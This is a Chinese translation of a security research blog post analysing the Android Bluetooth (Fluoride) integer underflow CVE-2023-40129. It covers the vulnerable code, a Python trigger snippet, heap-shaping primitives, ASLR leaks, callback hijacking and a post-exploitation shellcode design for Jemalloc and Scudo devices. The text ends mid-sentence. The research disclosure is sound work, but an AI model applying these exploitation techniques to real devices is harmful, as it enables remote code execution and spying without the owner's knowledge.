攻击蓝牙栈:深入剖析CVE-2023-40129漏洞利用技术

本文详细分析了Android蓝牙栈(Fluoride)中的一个关键整数下溢漏洞(CVE-2023-40129),该漏洞可导致远程代码执行。文章深入探讨了如何利用该漏洞在Jemalloc和Scudo两种内存分配器上实现攻击,并介绍了相关的蓝牙协议攻击框架和利用原语。

攻击蓝牙栈

蓝牙一直是攻击者极具吸引力的目标,因为它几乎无处不在(电视、车载充电器、智能冰箱等)。在移动设备上尤其如此,它作为特权进程运行,具有访问麦克风、通讯录等的潜在权限。

2023年9月和10月,Android发布了有关其蓝牙栈(Fluoride)中关键漏洞的安全公告,这些漏洞可能导致远程代码执行。CVE-2023-40129是GATT协议中的一个整数下溢漏洞,无需用户交互或认证即可触发。其利用被证明非常困难,因为它会导致64KB的堆溢出,像海啸一样摧毁其路径上的一切,使蓝牙进程几乎必然崩溃。

在本博客文章中,我们详细介绍了如何在Android的两个原生分配器上利用此漏洞:Scudo和Jemalloc。

本文是英文原文的翻译。

目录

  • 蓝牙栈
  • BlueBlue框架
  • 漏洞分析
  • Just Works, Still Works
  • 利用原语
  • 在Jemalloc设备上执行代码
  • 在Scull设备上执行代码
  • 利用后阶段
  • 结论
  • 参考资料

蓝牙栈

上图说明了蓝牙栈。它分为两个主要部分:控制器栈(Controller)驻留在蓝牙芯片中,而主机栈(Host)由操作系统实现。HCI(主机控制器接口)允许两个组件之间的通信。控制器主要管理物理和逻辑传输。我们的利用依赖于ACL,这是路由数据帧的异步传输。在Android上,主机栈(称为Fluoride)作为守护进程在用户空间运行。一旦建立ACL链路,就可以启动L2CAP连接以访问各种蓝牙服务(BNEP、HID、AVCTP等),这些服务提供了众所周知的功能,如网络共享、视频流等。每个服务由唯一的协议服务多路复用器标识:

服务 PSM
SDP(服务发现协议) 0x0001
RFCOMM(无线电频率通信) 0x0003
BNEP(蓝牙网络封装协议) 0x000F
HID(人机接口设备) 0x0011(控制),0x0013(中断)
AVCTP(音频/视频控制传输协议) 0x0017(控制),0x001B(浏览)
AVDTP(音频/视频数据流传输协议) 0x0019
GATT(通用属性协议) 0x001F
GAP(通用访问配置文件) 0x01001, 0x1003, 0x1005, 0x1007

每个服务的相关代码位于system/stack/目录中。每个服务都通过以下API注册:

1
2
3
4
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
                        bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
                        uint16_t my_mtu, uint16_t required_remote_mtu,
                        uint16_t sec_level)

参数sec_level定义访问服务所需的安全级别。大多数服务要求连接经过认证和加密。 很少有服务可以在未经认证的情况下访问——主要是SDP、RFCOMM和GATT。但即使连接开始时未经认证,某些操作(如写入GATT属性)可能随后要求认证,从而进一步减少攻击面。

BlueBlue框架

基于BlueBorne项目的L2CAP测试框架,我们开发了自己的框架,名为BlueBlue。它使用Scapy来构建和解析HCI帧。该框架允许建立ACL链路并打开L2CAP连接。 它还支持蓝牙规范中的多种功能,如L2CAP分段和ERTM传输模式。它实现了我们使用的所有主机栈功能,这为我们探索新想法提供了极大的自由度。 只需几行代码,我们就可以建立ACL连接,连接到L2CAP服务,发送命令并接收响应:

1
2
3
4
acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode = 'justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())

漏洞分析

CVE-2023-40129是GATT服务器中的一个漏洞。GATT协议用于公开简单的键值类型属性。键是16位的句柄,而值是简单的原始数据。操作码GATT_REQ_READ_MULTI_VAR允许一次读取多个属性。

请求由GATT_REQ_READ_MULTI_VAR操作码后跟GATT句柄列表组成。

响应由GATT_RSP_READ_MULTI_VAR操作码后跟每个请求属性的长度和值组成。

请求在函数gatt_process_read_multi_req()中处理,该函数负责检索请求的属性的值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
for (ll = 0; ll < multi_req->num_handles; ll++) {
  tGATTS_RSP* p_msg = (tGATTS_RSP*)osi_calloc(sizeof(tGATTS_RSP));
  handle = multi_req->handles[ll];
  auto it = gatt_sr_find_i_rcb_by_handle(handle);

  p_msg->attr_value.handle = handle;
  err = gatts_read_attr_value_by_handle(
    tcb, cid, it->p_db, op_code, handle, 0, p_msg->attr_value.value,
    &p_msg->attr_value.len, GATT_MAX_ATTR_LEN, sec_flag, key_size,
    trans_id);

  if (err == GATT_SUCCESS) {
    gatt_sr_process_app_rsp(tcb, it->gatt_if, trans_id, op_code,
                            GATT_SUCCESS, p_msg, sr_cmd_p);
  }
  /* either not using or done using the buffer, release it now */
  osi_free(p_msg);
}

函数gatt_sr_process_app_rsp()被每个属性调用。它将检索到的属性值(封装在变量p_msg中)传递给process_read_multi_rsp()函数,该函数将其复制到新分配的结构中,然后放入队列:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static bool process_read_multi_rsp(tGATT_SR_CMD* p_cmd, tGATT_STATUS status,
                                   tGATTS_RSP* p_msg, uint16_t mtu)
{

  if (p_cmd->multi_rsp_q == NULL)
    p_cmd->multi_rsp_q = fixed_queue_new(SIZE_MAX);

  /* Enqueue the response */
  BT_HDR* p_buf = (BT_HDR*)osi_malloc(sizeof(tGATTS_RSP));
  memcpy((void*)p_buf, (const void*)p_msg, sizeof(tGATTS_RSP));
  fixed_queue_enqueue(p_cmd->multi_rsp_q, p_buf);

  p_cmd->status = status;
  if (status == GATT_SUCCESS) {
    /* Wait till we get all the responses */
    if (fixed_queue_length(p_cmd->multi_rsp_q) ==
        p_cmd->multi_req.num_handles) {
      build_read_multi_rsp(p_cmd, mtu);
      return (true);
    }
  } else /* any handle read exception occurs, return error */
  {
    return (true);
  }

  /* If here, still waiting */
  return (false);
}

漏洞存在于函数build_read_multi_rsp()中,该函数负责构建响应消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
static void build_read_multi_rsp(tGATT_SR_CMD* p_cmd, uint16_t mtu) {
  uint16_t ii, total_len, len;
  uint8_t* p;
  bool is_overflow = false;

  len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu;                        // [0]
  BT_HDR* p_buf = (BT_HDR*)osi_calloc(len);
  p_buf->offset = L2CAP_MIN_OFFSET;
  p = (uint8_t*)(p_buf + 1) + p_buf->offset;

  /* First byte in the response is the opcode */
  if (p_cmd->multi_req.variable_len)
    *p++ = GATT_RSP_READ_MULTI_VAR;
  else
    *p++ = GATT_RSP_READ_MULTI;

  p_buf->len = 1;

  /* Now walk through the buffers putting the data into the response in order
   */
  list_t* list = NULL;
  const list_node_t* node = NULL;
  if (!fixed_queue_is_empty(p_cmd->multi_rsp_q))
    list = fixed_queue_get_list(p_cmd->multi_rsp_q);
  for (ii = 0; ii < p_cmd->multi_req.num_handles; ii++) {
    tGATTS_RSP* p_rsp = NULL;

    if (list != NULL) {
      if (ii == 0)
        node = list_begin(list);
      else
        node = list_next(node);
      if (node != list_end(list)) p_rsp = (tGATTS_RSP*)list_node(node); // [1]
    }

    if (p_rsp != NULL) {
      total_len = (p_buf->len + p_rsp->attr_value.len);                 // [2.1]
      if (p_cmd->multi_req.variable_len) {
        total_len += 2;                                                 // [2.2]
      }

      if (total_len > mtu) {
        /* just send the partial response for the overflow case */
        len = p_rsp->attr_value.len - (total_len - mtu);                // [3]
        is_overflow = true;
        VLOG(1) << StringPrintf(
            "multi read overflow available len=%d val_len=%d", len,
            p_rsp->attr_value.len);
      } else {
        len = p_rsp->attr_value.len;
      }

      if (p_cmd->multi_req.variable_len) {
        UINT16_TO_STREAM(p, len);
        p_buf->len += 2;
      }

      if (p_rsp->attr_value.handle == p_cmd->multi_req.handles[ii]) {
        memcpy(p, p_rsp->attr_value.value, len);                        // [4]
        if (!is_overflow) p += len;
        p_buf->len += len;
      } else {
        p_cmd->status = GATT_NOT_FOUND;
        break;
      }

      if (is_overflow) break;

    } else {
      // [...]
    }
  } /* loop through all handles*/
  // [...]
}

在函数顶部[0],我们可以看到分配了包含响应缓冲区的结构体(p_buf)。分配的缓冲区大小取决于MTU,MTU可以在打开L2CAP通道时配置。 接下来的代码段遍历GATT属性列表[1]并检查它们是否能放入响应消息中。也就是说,对于每个属性,该函数计算消息的预期总长度([2.1]和[2.2])并检查是否超过MTU。如果没有足够的空间来存储属性,可以复制到缓冲区的最大数据大小如[3]所示计算。然而,len的计算是错误的,因为它没有考虑[2.2]中的加法。这个整数下溢导致[4]处发生基于堆的溢出(正如is_overflow = true指令所讽刺地预测的那样)。

以下代码片段触发了该漏洞。它连接到GATT通道并将MTU配置为55。然后,它请求4次属性9(16字节):

1
2
3
4
5
6
7
8
acl = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt = b'\x20'   # GATT_REQ_READ_MULTI_VAR OPCODE
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
gatt.send(pkt)

当尝试插入最后一个属性时发生溢出。具体来说,在[3]处,p_buf->len的值为55(1+ 3*(16+2)),而total_len为73。因此,len将下溢到-2(0xfffe),导致响应缓冲区溢出约64KB。

最近,在OffensiveCon 2025上,发现该漏洞的Google Android Red Team针对Pixel设备上的类似漏洞(CVE-2023-35673)展示了一个漏洞利用PoC。然而,他们的利用假设ASLR被禁用,并且攻击者已经与目标设备配对。在接下来的章节中,我们详细介绍了在不依赖这些假设的情况下利用Fluoride的策略。

Just Works, Still Works

2017年,BlueBorne文章揭示了几个影响BlueZ(Linux栈)和Fluoride(Android栈)的蓝牙关键漏洞。该文档描述了蓝牙规范中一种“模糊”的认证方法:Just Works。Just Works认证模式允许在没有用户交互的情况下进行临时配对。它用于简单安全配对(SSP)与没有键盘或屏幕的设备配对。在这种情况下,认证发生时无需PIN码验证。

我们在BlueBlue框架中实现了Just Works认证模式,并确认它在Android 13上仍然有效。

Just Works认证存在一些限制。首先,Fluoride将连接视为易受中间人攻击(MITM),这阻止了访问某些功能,如读取或写入受保护的GATT属性。其次,使用Just Works会破坏与共享相同BDADDR地址的设备的任何现有配对。尽管有这些限制,这种认证模式仍然允许我们建立到各种蓝牙服务(如GAP、BNEP和AVCTP)的L2CAP连接。虽然触发该漏洞不需要预先认证,但我们利用它的方式需要连接到多个L2CAP通道。这就是Just Works模式发挥作用的地方。

利用原语

持久化数据分配

利用此漏洞需要非常精确的堆整形策略,以避免蓝牙守护进程因堆状态损坏而崩溃。

我们审计了Fluoride的源代码,并识别了可以被劫持以强制分配大小可控、数据可控并使这些分配持久化的功能。例如,在配置L2CAP通道时,如果对等设备不识别配置选项,它将发送被拒绝选项的精确副本(CONFIG REJ消息)。配置选项由类型(1字节字段)、长度(1字节字段)和大小任意的实际值组成,其内容完全可控。包含被拒绝选项的响应分配在以下函数中完成:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void l2cu_send_peer_config_rej(tL2C_CCB* p_ccb, uint8_t* p_data,
                               uint16_t data_len, uint16_t rej_len) {
    uint16_t len, cfg_len, buf_space, len1;
    uint8_t *p, *p_hci_len, *p_data_end;
    uint8_t cfg_code;

    /* ... */

    len = BT_HDR_SIZE + HCI_DATA_PREAMBLE_SIZE + L2CAP_PKT_OVERHEAD +
          L2CAP_CMD_OVERHEAD + L2CAP_CONFIG_RESP_LEN;

    BT_HDR* p_buf = (BT_HDR*)osi_malloc(len + rej_len);

    /* ... */
}

分配在返回给发起连接的配对设备后立即释放。然而,我们可以通过拥塞使其持久化。

拥塞

蓝牙规范在ACL层提供了流量控制功能。如果其ACL接收(RX)缓冲区已满,蓝牙控制器可以清除其发送的ACL数据包头中的FLOW位,以防止对等设备在接收缓冲区被处理时发送更多数据包。此功能通常不暴露给主机,但我们可以通过修改控制器的固件来操纵它。幸运的是,Cypress控制器甚至有一个专有的HCI命令来启用它,因此模拟ACL拥塞相当简单。在这种状态下,被声明为拥塞的对等设备仍然可以向远程设备发送数据包,但无法接收响应。远程设备将处理这些数据包,但无法响应。Fluoride栈适当地处理拥塞。因此,如果我们在控制器声明ACL拥塞时发送无效的配置请求,Fluoride将不会返回响应,而是将它们保留在队列中,直到拥塞停止。

需要注意的是,拥塞受到配额的限制。一旦达到配额,额外的消息将被丢弃而不是排队。然而,L2CAP信令通道不受此限制,这意味着我们可以分配几乎无限数量的CONFIG REJ响应消息。我们可以通过关闭关联的ACL连接来释放所有这些分配。

同样重要的是要注意,拥塞在Fluoride栈级别被延迟,第一批响应将在发送到控制器后立即释放。以下函数检查数据包是否可以发送到控制器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, uint16_t local_cid,
                              BT_HDR* p_buf) {
    /* ... */
    while(((l2cb.controller_xmit_window != 0 &&
        (p_lcb->transport == BT_TRANSPORT_BR_EDR)) ||
        (l2cb.controller_le_xmit_window != 0 &&
        (p_lcb->transport == BT_TRANSPORT_LE))) &&
        (p_lcb->sent_not_acked < p_lcb->link_xmit_quota)) {
            p_buf = l2cu_get_next_buffer_to_send(p_lcb);
            if (p_buf == NULL) {
                LOG_DEBUG("No next buffer, skipping");
                break;
            }
            LOG_DEBUG("Sending to lower layer");
            l2c_link_send_to_lower(p_lcb, p_buf);
        }
    }
    /* ... */
}

检查基于变量controller_xmit_window,该变量在函数l2c_link_send_to_lower_br_edr()中每次数据包传输到底层控制器时递减。其值在l2c_packets_completed中根据确认的数据包数量递增。

ERTM传输模式

ERTM是构建在L2CAP之上的附加传输层,为其增加了可靠性:序列号、确认和重传。我们可以以两种不同的方式滥用此模式来强制持久分配:

  1. 发送具有意外序列号的L2CAP分段,例如seq_tx = 1。只要序列号为seq_tx = 0的消息尚未发送,远程配对设备将保留所有后续消息在内存中。这种行为很有用,因为它允许我们分配大小和内容可控的消息。
  2. 强制Fluoride发送ERTM分段,但故意不确认它。该分段将保留在内存中,只要我们未确认它,我们可以在任何时候请求重传。

这两种技术中的每一种都允许每个L2CAP连接分配最多10个持久消息(这就是为什么我们不能依赖ERTM进行喷射)。只有有限的L2CAP通道(如GAP和AVCTP)支持ERTM模式,并且所有都需要与对等设备进行认证。

相对读原语

结构体BT_HDR是一个有趣的目标。它广泛用于蓝牙代码库中,表示各种数据,如L2CAP消息和ERTM分段:

1
2
3
4
5
6
7
typedef struct {
    uint16_t event;
    uint16_t len;
    uint16_t offset;
    uint16_t layer_specific;
    uint8_t data[];
} BT_HDR;

结构体BT_HDR的长度可变。字段len表示数据缓冲区的长度。它还包括一个offset字段,表示数据字段中数据的起始位置。为了在堆中构建相对读原语,我们可以重写发送队列中挂起的ERTM分段的len字段,并增加其大小以泄漏com.android.bluetooth进程的堆内容。

AVCTP浏览通道是构建读原语的良好候选。它使用ERTM,我们可以强制它传输大小可控的响应。GET_FOLDER_ITEMS请求允许我们请求音乐播放列表的元数据(例如,艺术家、歌曲名称、专辑名称)。通过发送具有精心选择属性的GET_FOLDER_ITEMS请求,我们可以使响应分配落入与易受攻击缓冲区相同的bin类。如果我们修改与GET_FOLDER_ITEMS响应关联的BT_HDR结构,我们可以通过请求修改消息的重传来获取信息泄漏。

相对写原语

ERTM支持分段。消息在函数do_sar_reassembly()中重新组装。收到第一个分段时,该函数使用初始分段中指定的大小分配BT_HDR结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
if (sar_type == L2CAP_FCR_START_SDU) {
    /* Get the SDU length */
    STREAM_TO_UINT16(p_fcrb->rx_sdu_len, p);
    p_buf->offset += 2;
    p_buf->len -= 2;

    if (p_fcrb->rx_sdu_len > p_ccb->max_rx_mtu) {
        L2CAP_TRACE_WARNING("SAR - SDU len: %u larger than MTU: %u",
                            p_fcrb->rx_sdu_len, p_ccb->max_rx_mtu);
        packet_ok = false;
    } else {
        p_fcrb->p_rx_sdu = (BT_HDR*)osi_malloc(
            BT_HDR_SIZE + OBX_BUF_MIN_OFFSET + p_fcrb->rx_sdu_len);
        p_fcrb->p_rx_sdu->offset = OBX_BUF_MIN_OFFSET;
        p_fcrb->p_rx_sdu->len = 0;
    }
}

后续分段使用BT_HDR结构的lenoffset字段进行复制:

1
2
3
memcpy(((uint8_t*)(p_fcrb->p_rx_sdu + 1)) + p_fcrb->p_rx_sdu->offset +
       p_fcrb->p_rx_sdu->len, p, p_buf->len);
p_fcrb->p_rx_sdu->len += p_buf->len;

因此,通过损坏offset字段,然后发送带有数据的第二个分段,我们获得了一个相对写原语。

绕过ASLR和控制PC

Fluoride栈使用libchrome的回调对象来处理各种事件。此对象对于构建利用原语很有趣,因为它具有在回调触发时调用的函数指针,以及传递给它的某些参数。因此,泄漏此对象将揭示libbluetooth的基地址,重写它将使我们能够控制执行流。

SDP发现回调特别有趣,因为我们控制其分配,并且可以随时触发回调:

回调对象在打开AVRCP通道时在函数SdpLookup中分配:

1
2
3
4
5
6
7
8
9
bool ConnectionHandler::SdpLookup(const RawAddress& bdaddr, SdpCallback cb,
                                 bool retry) {
    /* ... */
    return avrc_->FindService(UUID_SERVCLASS_AV_REMOTE_CONTROL, bdaddr,
                                &db_params,
                                base::Bind(&ConnectionHandler::SdpCb,
                                           weak_ptr_factory_.GetWeakPtr(), bdaddr,
                                           cb, disc_db, retry)) == AVRC_SUCCESS;
}

Bind()方法负责分配回调对象(0x60字节)。回调结构使用函数指针SdbCp及其参数填充:

1
2
3
void ConnectionHandler::SdpCb(RawAddress bdaddr, SdpCallback cb,
                             tSDP_DISCOVERY_DB* disc_db, bool retry,
                             uint16_t status)

回调在函数avrc_sdp_cback()中调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/******************************************************************************
 *
 * Function         avrc_sdp_cback
 *
 * Description      This is the SDP callback function used by A2DP_FindService.
 *                  This function will be executed by SDP when the service
 *                  search is completed.  If the search is successful, it
 *                  finds the first record in the database that matches the
 *                  UUID of the search.  Then retrieves various parameters
 *                  from the record.  When it is finished it calls the
 *                  application callback function.
 *
 * Returns          Nothing.
 *
 *****************************************************************************/
static void avrc_sdp_cback(tSDP_STATUS status) {
    AVRC_TRACE_API("%s status: %d", __func__, status);

    /* reset service_uuid, so can start another find service */
    avrc_cb.service_uuid = 0;

    /* return info from sdp record in app callback function */
    avrc_cb.find_cback.Run(status);
    return;
}

重写回调对象允许触发具有完全控制参数的任意函数调用。我们可以通过从AVRCP浏览通道连接期间远程设备建立的SDP通道断开连接来触发回调。

在Jemalloc设备上执行代码

利用场景

为了在使用Jemalloc的设备上获得代码执行,我们采用了以下策略:

  1. 塑造堆以重写两个BT_HDR对象。第一个引用发送队列中挂起的ERTM消息(读取器),而第二个对应接收队列中挂起的ERTM分段(写入器)。
  2. 触发溢出并损坏读取器和写入器对象。
  3. 分配回调对象(执行器)。
  4. 请求重传修改的数据包。
  5. 检索回调对象的内容。
  6. 使用相对写原语重写回调对象的内容。
  7. 触发回调。

堆塑造

第一步是塑造堆以使用可控数据重写读取器和写入器对象。我们依赖于前面描述的功能,例如拥塞和ERTM传输模式。具体来说,我们采用了以下策略来控制溢出源以及在目标bin中布置对象。

  1. 启用ACL拥塞。
  2. 喷射多个CONFIG REJ消息。
  3. 在喷射期间交错分配ERTM消息,以seq_tx > 0开始序列。ERTM分配用于在堆中创建“空洞”。
  4. 禁用ACL拥塞。CONFIG REJ分配被释放。
  5. 通过例如关闭关联连接来释放ERTM分配。ERTM分配在缓冲区溢出时被GATT相关对象重用。

下图说明了控制溢出源的堆状态。首先,我们喷射十几个CONFIG REJ消息以强制蓝牙栈级别的拥塞。然后,我们交替分配ERTM消息和CONFIG REJ消息,使得每个ERTM消息后跟可控数据。释放后,ERTM分配将被包含将被复制到易受攻击对象中的属性值的GATT对象(t_GATTS_RSP)重用。

现在我们有了控制溢出源所需的堆状态,让我们看看如何在易受攻击对象所在的相同bin中布置对象(读取器、写入器和执行器)。作为参考,易受攻击对象的大小取决于MTU大小,计算如下:

1
len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu; // 8 + 13 + MTU

我们决定以用于分配回调对象(执行器)的相同bin为目标。通过应用与塑造源相同的策略,我们获得了所需的堆状态。在下图中,执行器(回调)对象在溢出后分配。

ASLR泄漏

通过损坏读取器对象的len字段,我们可以泄漏最多64KB的数据,其中包括执行器对象的内容。它包含多个函数指针,可用于推断libbluetooth库的基地址。通过分析泄漏的数据,我们注意到在某些情况下,art::Thread对象存在其中。它包含libart、libm和libc中的多个函数指针。由于此对象很少出现在泄漏中,我们决定不在利用中使用它。

代码执行

通过重写SDP发现回调对象获得代码执行。我们可以通过修改RunSdpCb函数指针来实现。Run函数的唯一目的是准备并分派对实际回调SdpCb的调用。然而,这些指针都不实用,因为我们无法精细地控制参数。

为了完全控制参数,我们决定重写函数指针Run以调用以下函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_5e023c(__int64 callback)
{
    __int64 v1;
    char *v2;
    __int64 *v3;

    v1 = *(_QWORD *)(callback + 0x28);
    v2 = *(char **)(callback + 0x20);
    v3 = (__int64 *)(*(_QWORD *)(callback + 0x30) + (v1 >> 1));
    if ( (v1 & 1) != 0 )
        v2 = *(char **)&v2[*v3];
    return ((__int64 (__fastcall *)(__int64 *, _QWORD, _QWORD, _QWORD, _QWORD))v2)(
            v3,
            *(_QWORD *)(callback + 0x38),
            *(_QWORD *)(callback + 0x40),
            *(unsigned __int8 *)(callback + 0x48),
            *(unsigned int *)(callback + 0x4C));
}

此函数(小工具函数)允许我们调用任意函数,同时控制5个参数,其中前三个是QWORD。目标函数及其参数都从传递给小工具的参数对象中提取。

现在我们可以控制参数,让我们看看如何调用多个函数。

函数list_clearlist_t结构作为输入,并为列表中的每个节点调用list_free_node()函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
void list_clear(list_t* list) {
    CHECK(list != NULL);
    for (list_node_t* node = list->head; node;)
        node = list_free_node_(list, node);
    list->head = NULL;
    list->tail = NULL;
    list->length = 0;
}

static list_node_t* list_free_node_(list_t* list, list_node_t* node) {
    CHECK(list != NULL);
    CHECK(node != NULL);

    list_node_t* next = node->next;

    if (list->free_cb) list->free_cb(node->data);
    list->allocator->free(node);
    --list->length;

    return next;
}

通过注入具有多个节点的虚假列表结构,我们可以调用任意数量的函数。由于我们只需要调用两个函数,我们使用了更简单的方法:通过list->free_cb()进行第一次调用,通过list->allocator->free()进行第二次调用。这些调用足以调用mprotect()——使我们的shellcode页面可执行——然后跳转到shellcode。

谜题中唯一缺失的部分是将任意数据放置在已知地址:shellcode以及执行它所需的所有结构(虚假的列表和节点对象)。

回调对象为我们提供了一个指向0x1010字节堆缓冲区的指针。通过在回调对象分配之后立即喷射具有相同大小的对象(具有可控数据),它们很可能在内存中连续放置。这使我们能够推断出存在可控数据的地址。

下图说明了如何劫持执行控制流以执行我们的shellcode,并总结如下:

  1. 通过重写回调对象以调用gadget()函数获得代码执行。
  2. 函数gadget使用虚假列表对象(黄色)调用list_clear函数。
  3. 指令list->free_cb(node->data)再次调用gadget函数以准备mprotect()调用(粉红色)。
  4. 指令list->allocator->free(node)通过使用作为参数的虚假节点对象(绿色)调用gadget函数来执行shellcode。

在Scudo设备上执行代码

关于Scudo分配器的说明

Scudo是一个内存分配器,设计时注重效率和安全性。以下部分重点介绍服务小于0x10000字节的小分配的主分配器。

Scudo将内存组织成区域,每个区域专用于特定大小类(类ID)的分配。在这些区域内,内存被分成块。一个块由16字节的元数据后跟一个chunk组成——这些是程序调用malloc()时返回的实际内存单元。

当线程请求内存时,分配器首先检查线程本地缓存中是否有适当大小类的可用chunk。如果找到chunk,则立即返回。如果缓存为空,Scudo尝试从全局空闲块列表(global freelist)中检索TransferBatch——一组预分配的chunk——以填充缓存。如果没有可用的批次,Scudo从专用于该大小类的区域分配内存,将其分割成单独的chunk,随机化它们的顺序以减轻利用,并将它们分组为一个或多个TransferBatch。其中一个批次返回给请求线程,而其他批次则存储在全局缓存中以供将来使用。

有关Scudo分配器的更多信息,我们建议阅读Kevin Denis(Synacktiv)之前的博客文章。

Scudo具有安全措施,使得难以复制为Jemalloc采用的相同攻击场景:

  1. 内存chunk以校验和(checksum)为前缀,该校验和在chunk释放时被验证。也就是说,如果我们损坏块的元数据然后释放它,程序将终止。
  2. 内存块被打乱。在这种情况下,难以建立相对写原语,这假设回调对象可以从固定偏移量访问。

要克服第一个问题,一种方法是塑造堆以仅损坏空闲块或可控且持久的块。

关于打乱机制,它是按内存块批次应用的,而不是对整个区域应用一次。每批随机化的块数取决于大小类。对于小于0x350字节的内存块(大小类ID为1到15),此值等于52(4 * 13),这是每个TransferBatch内的TransferBatches数量与内存块数量的乘积。因此,通过在易受攻击对象和目标对象之间插入N = 52个中间分配,可以将目标放置在溢出范围内,使其易于损坏。

利用场景

由于我们无法建立相对写原语,我们将触发溢出两次!

  1. 第一次溢出以读取器对象为目标,以获取libbluetooth库的基地址。
  2. 第二次溢出以执行器(回调)对象为目标,以触发代码执行。

并希望从64KB损坏的堆数据中幸存下来。

堆塑造

我们采用略微不同的堆塑造策略来控制溢出源。像往常一样,我们依赖拥塞来喷射数百个CONFIG REJ消息,并使用ERTM传输在堆中创建“空洞”。

下图说明了溢出前后的数据源。我们使用ERTM消息为各种GATT属性保留空间。需要注意的是,ERTM消息按照分配的顺序释放。分配的第一个ERTM消息将被易受攻击的GATT分配(绿色显示)重用。我们将此特定ERTM消息的分配分开,使其后跟多个包含可控数据的CONFIG REJ响应。

内存泄露

不幸的是,尝试泄漏前面利用中使用的回调内容的尝试没有成功。然而,在泄漏的数据中始终观察到第二个回调对象。该对象由函数ActivityAttribution::Capture()分配,该函数负责记录HCI数据包。此对象包含多个函数指针,使我们能够推断进程基地址以及稍后将托管我们有效负载的分配位置。

代码执行

通过第二次触发漏洞以损坏Jemalloc利用中使用的SDP发现回调对象来实现代码执行。然而,由于内存块随机化,难以可靠地重写回调对象的所有字段。

一种解决方案是将Run函数指针与以下小工具的地址损坏:

1
2
3
4
5
6
LDR  X0, [X0]
MOV  W8, W1
MOV  W1, W2
MOV  W2, W8
LDR  X3, [X0,#8]
BR   X3

通过此小工具进行利用仅需要损坏回调对象的两个特定字段即可劫持执行流,如下所示:

利用后阶段

shellcode通过蓝牙安装一个命令处理程序,该处理程序提供与目标交互的有用功能,例如执行shell命令或将文件上传到设备。具体来说,shellcode首先修补函数l2c_rcv_acl_data()以将其重定向到我们的命令处理程序。每当从控制器收到消息时都会调用此函数。

shellcode还注册了一个信号处理程序以拦截SIGSEGV信号,防止com.android.bluetooth进程因64KB溢出引起的不稳定而重新启动。

结论

CVE-2023-40129是蓝牙栈中的一个关键漏洞,无需用户交互或预先认证。我们已成功利用它在运行Jemalloc(Xiaomi 12T)和Scudo(Samsung A54)的Android设备上获得远程代码执行。

这些利用并非完全可靠,经常导致蓝牙进程崩溃。然而,蓝牙守护程序会静默重启,因此我们可以一次又一次地重试利用。我们进行了基本测试,并发现平均而言,获得shell的估计时间(ETS - Estimated Time of Shell)在Jemalloc设备上约为2分钟,在Scudo设备上长达5分钟。

Gabeldorsche栈(GD)

Gabeldorsche栈在Android 12中引入,并成为Android 13中的默认蓝牙栈。它代表了重大的架构变更,逐步用Rust重写蓝牙栈。然而,到2023年底,只有较低层被重写,上层保持不变。因此,即使

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计